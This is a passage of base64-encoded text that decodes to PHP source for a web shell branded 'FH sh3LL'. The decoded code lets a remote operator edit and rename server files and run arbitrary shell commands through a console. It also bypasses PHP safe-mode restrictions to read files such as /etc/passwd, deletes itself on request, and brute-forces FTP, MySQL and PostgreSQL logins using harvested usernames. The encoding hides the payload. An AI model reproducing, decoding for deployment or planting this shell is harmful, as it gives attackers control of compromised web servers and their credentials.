CAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2VkaXQnOgogICAgICAgICAgICBpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydwMSddLCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICBlY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGV4ZHVtcCc6CiAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICRuID0gMDsKICAgICAgICAgICAgJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CiAgICAgICAgICAgICRsZW4gPSBzdHJsZW4oJGMpOwogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKICAgICAgICAgICAgICAgICRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKICAgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbisrOwogICAgICAgICAgICAgICAgaWYgKCRuID09IDMyKSB7CiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOwogICAgICAgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CiAgICAgICAgICAgICAgICAgICAgJGhbMV0gLj0gJzxicj4nOwogICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncmVuYW1lJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCByZW5hbWUhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd0b3VjaCc6CiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgICR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICBpZigkdGltZSkgewogICAgICAgICAgICAgICAgICAgIGlmKEB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQogICAgICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGYWlsITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ21rZmlsZSc6CiAgICAgICAgICAgIAogICAgICAgICAgICBicmVhazsKICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25TYWZlTW9kZSgpIHsKICAgICR0ZW1wPScnOwogICAgb2Jfc3RhcnQoKTsKICAgIHN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKICAgICAgICBjYXNlIDE6CiAgICAgICAgICAgICR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsKICAgICAgICAgICAgaWYoQGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRfUE9TVFsncDInXSwgJHRlbXApKXsKICAgICAgICAgICAgICAgIGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgICAgICAgICAgICAgIHVubGluaygkdGVtcCk7CiAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgMjoKICAgICAgICAgICAgJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsKICAgICAgICAgICAgaWYoIGlzX2FycmF5KCRmaWxlcykgKQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkKICAgICAgICAgICAgICAgICAgICBlY2hvICRmaWxlbmFtZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDM6CiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5TRUxGX1BBVEgpOwogICAgICAgICAgICBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSA0OgogICAgICAgICAgICBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7CiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKICAgICAgICAgICAgaW5jbHVkZSgkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDU6CiAgICAgICAgICAgIGZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgewogICAgICAgICAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICAgICAgaWYgKCR1aWQpCiAgICAgICAgICAgICAgICAgICAgZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgNjoKICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaW1hcF9vcGVuJykpYnJlYWs7CiAgICAgICAgICAgICRzdHJlYW0gPSBpbWFwX29wZW4oJF9QT1NUWydwMiddLCAiIiwgIiIpOwogICAgICAgICAgICBpZiAoJHN0cmVhbSA9PSBGQUxTRSkKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBlY2hvIGltYXBfYm9keSgkc3RyZWFtLCAxKTsKICAgICAgICAgICAgaW1hcF9jbG9zZSgkc3RyZWFtKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOwogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgIGVjaG8gJzxzcGFuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxpc3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxicj48c3Bhbj5JbWFwX29wZW4gKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgIGlmKCR0ZW1wKQogICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLiR0ZW1wLic8L3ByZT4nOwogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7CiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5jbWQudmFsdWU9Jyc7XG4iOwogICAgICAgICR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7CiAgICAgICAgaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKSAgICB7CiAgICAgICAgICAgIGlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7CiAgICAgICAgICAgICAgICBlY2hvICJkb2N1bWVudC5tZi5jLnZhbHVlPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsKICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOwogICAgICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKICAgICAgICBleGl0OwogICAgfQogICAgcHJpbnRIZWFkZXIoKTsKCmVjaG8gJzxzY3JpcHQ+CmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7CnZhciBjbWRzID0gbmV3IEFycmF5KCIiKTsKdmFyIGN1ciA9IDA7CmZ1bmN0aW9uIGtwKGUpIHsKICAgIHZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOwogICAgaWYobiA9PSAzOCkgewogICAgICAgIGN1ci0tOwogICAgICAgIGlmKGN1cj49MCkKICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwogICAgICAgIGVsc2UKICAgICAgICAgICAgY3VyKys7CiAgICB9IGVsc2UgaWYobiA9PSA0MCkgewogICAgICAgIGN1cisrOwogICAgICAgIGlmKGN1ciA8IGNtZHMubGVuZ3RoKQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CiAgICAgICAgZWxzZQogICAgICAgICAgICBjdXItLTsKICAgIH0KfQpmdW5jdGlvbiBhZGQoY21kKSB7CiAgICBjbWRzLnBvcCgpOwogICAgY21kcy5wdXNoKGNtZCk7CiAgICBjbWRzLnB1c2goIiIpOwogICAgY3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4nOwogICAgZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkb2N1bWVudC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZG9jdW1lbnQuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZG9jdW1lbnQuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyI+PHNlbGVjdCBuYW1lPWFsaWFzPic7CiAgICBmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsKICAgICAgICBpZigkdiA9PSAnJykgewogICAgICAgICAgICBlY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nLmh0bWxzcGVjaWFsY2hhcnMoJG4pLictIj48L29wdGdyb3VwPic7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICBlY2hvICc8b3B0aW9uIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiciPicuJG4uJzwvb3B0aW9uPic7CiAgICB9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTtpZihkb2N1bWVudC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7fSIgdmFsdWU9Ij4+Ij4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7IiByZWFkb25seT4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoIiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pKTsKICAgIH0KICAgIGVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyLXRvcDowO3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPic7CiAgICBlY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kb2N1bWVudC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgewogICAgdW5zZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7CiAgICBlY2hvICc8Ym9keSBiZ2NvbG9yPSIjNDQ0Ij48Y2VudGVyPjxpbWcgc3JjPSJodHRwOi8vaW1nOS5pbWFnZXNoYWNrLnVzL2ltZzkvNjUyMS9sb2dvZHN6LnBuZyIgYWx0PSJGSCI+PGJyPjxicj48aDE+PGZvbnQgY29sb3I9IndoaXRlIj5WaXNpdGEtbm9zOiA8YSBocmVmPSJodHRwOi8vd3d3LmZvcnVtLWhhY2tlci5jb20uYnIvZm9ydW0iPkZvcnVtLUhhY2tlcjwvYT48L2ZvbnQ+PC9oMT48L2NlbnRlcj48L2JvZHk+JzsKCQp9CgpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykgewogICAgICAgIGlmKEB1bmxpbmsoU0VMRl9QQVRIKSkKICAgICAgICAgICAgZGllKCdGSCBzaDNMTCBmb2kgcmVtb3ZpZGEgY29tIHN1Y2Vzc28hJyk7CiAgICAgICAgZWxzZQogICAgICAgICAgICBlY2hvICdFcnJvISc7CiAgICB9CiAgICBlY2hvICc8aDE+Rkggc2gzTEw6IDwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlF1ZXJlcyBtZXNtbyByZW1vdmVyIGEgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgewogICAgICAgIGVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsKICAgICAgICBpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgewogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsKICAgICAgICAgICAgICAgIGlmKCEkZnApIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CiAgICAgICAgICAgICAgICBAZnRwX2Nsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsKICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CiAgICAgICAgICAgICAgICAkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2LCAkbG9naW4sICRwYXNzKTsKICAgICAgICAgICAgICAgIEBteXNxbF9jbG9zZSgkcmVzKTsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgewogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKICAgICAgICAgICAgICAgICRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9JyciOwogICAgICAgICAgICAgICAgJHJlcyA9IEBwZ19jb25uZWN0KCRzZXJ2ZXJbMF0uJzonLiRzZXJ2ZXJbMV0/JHNlcnZlclsxXTo1NDMyLCAkbG9naW4sICRwYXNzKTsKICAgICAgICAgICAgICAgIEBwZ19jbG9zZSgkcmVzKTsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRzdWNjZXNzID0gMDsKICAgICAgICAkYXR0ZW1wdHMgPSAwOwogICAgICAgICRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7CiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewogICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwogICAgICAgICAgICBpZiggaXNfYXJyYXkoJHRlbXApICkKICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKICAgICAgICAgICAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7CiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbGluZVswXVskaV07CiAgICAgICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOwogICAgICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmKCRfUE9TVF